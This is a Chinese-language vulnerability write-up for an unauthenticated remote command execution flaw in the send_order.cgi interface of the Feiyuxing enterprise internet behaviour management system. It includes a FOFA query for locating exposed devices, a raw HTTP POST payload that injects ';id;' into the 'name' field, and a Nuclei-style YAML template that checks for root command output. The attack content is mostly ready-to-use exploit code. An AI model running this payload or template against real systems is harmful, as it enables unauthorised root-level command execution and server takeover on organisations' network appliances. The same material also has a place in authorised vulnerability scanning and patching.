F3-1飞鱼星-企业级智能上网行为管理系统-RCE

漏洞描述：

飞鱼星企业级智能上网行为管理系统 send_order.cgi接口处存在远程命令执行漏洞，未经身份验证的攻击者可以利用此漏洞执行任意指令，且写入后门文件可获取服务器权限，造成严重威胁。

影响版本：

至2024年3月30日

网站图片：

网络测绘：

fofa语法：

FOFA：title=="飞鱼星企业级智能上网行为管理系统"

漏洞复现：

payload：

```
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

{"opid":"1","name":";id;","type":"rest"}
```

效果图:

Yaml模板

```
id: F3-1FeiYunXing-RCE

info:
  name: F3-1FeiYunXing-RCE
  author: Kpanda
  severity: critical
  description: 飞鱼星企业级智能上网行为管理系统 send_order.cgi接口处存在远程命令执行漏洞
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/136884282?spm=1001.2014.3001.5502
  tags: FeiYunXing,RCE

requests:
  - method: POST
    path:
      - "{{BaseURL}}/send_order.cgi?parameter=operation"
    headers:
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
    body: |
      opid=1&name=%3Bid%3B&type=rest
    matchers:
      - type: word
        words:
          - "uid=0(root) gid=0(root) groups=0(root)"
        part: body
      - type: status
        status:
          - 200
```